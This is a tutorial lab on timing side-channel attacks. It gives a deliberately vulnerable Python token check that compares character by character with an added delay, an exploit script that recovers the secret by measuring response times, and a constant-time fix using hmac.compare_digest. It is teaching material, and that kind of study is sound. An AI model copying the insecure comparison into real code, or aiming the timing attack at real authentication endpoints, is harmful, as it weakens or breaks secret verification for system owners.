Skip to main content

06 - Hands-on Lab: Timing Side-Channel

This lab demonstrates a non-invasive side-channel attack on software. We will exploit a timing leak in a string comparison function to guess a secret token character by character.

The Vulnerable Code

A classic mistake is using the standard equality operator == to verify secrets like MACs or API tokens. Standard string comparison stops checking as soon as it finds a mismatch, returning faster for early failures.

Create vulnerable_server.py:

import time

SECRET_TOKEN = "secr3t_key"

def verify_token_vulnerable(user_input):
if len(user_input) != len(SECRET_TOKEN):
return False

# Vulnerable comparison: loops byte by byte
for i in range(len(SECRET_TOKEN)):
if user_input[i] != SECRET_TOKEN[i]:
return False
# Artificial delay to simulate a micro-controller or heavy operation
time.sleep(0.01)

return True

The Exploit Script

We can measure how long the function takes to execute. If it takes slightly longer, we know we guessed the correct character at that position!

Create exploit.py:

import time
from vulnerable_server import verify_token_vulnerable

charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
guessed_token = ""
target_length = 10

print("Starting timing attack...")

for i in range(target_length):
max_time = 0
best_char = ""

for char in charset:
test_payload = guessed_token + char + "A" * (target_length - 1 - i)

start_time = time.time()
verify_token_vulnerable(test_payload)
end_time = time.time()

duration = end_time - start_time

if duration > max_time:
max_time = duration
best_char = char

guessed_token += best_char
print(f"Cracking: {guessed_token}")

print(f"Recovered Token: {guessed_token}")

Run the exploit. You will see it accurately deduce secr3t_key by simply measuring the time taken!

The Secure Fix

To fix timing leaks, you must use constant-time comparison functions. The time taken to compare two strings must depend only on their length, not their contents.

Create secure_server.py:

import time
import hmac

SECRET_TOKEN = "secr3t_key"

def verify_token_secure(user_input):
if len(user_input) != len(SECRET_TOKEN):
return False

# Constant-time comparison
# It compares the entire string regardless of where mismatches occur
return hmac.compare_digest(user_input, SECRET_TOKEN)

If you point the exploit script at verify_token_secure, it will fail because all comparisons take the exact same amount of time.

Share this guide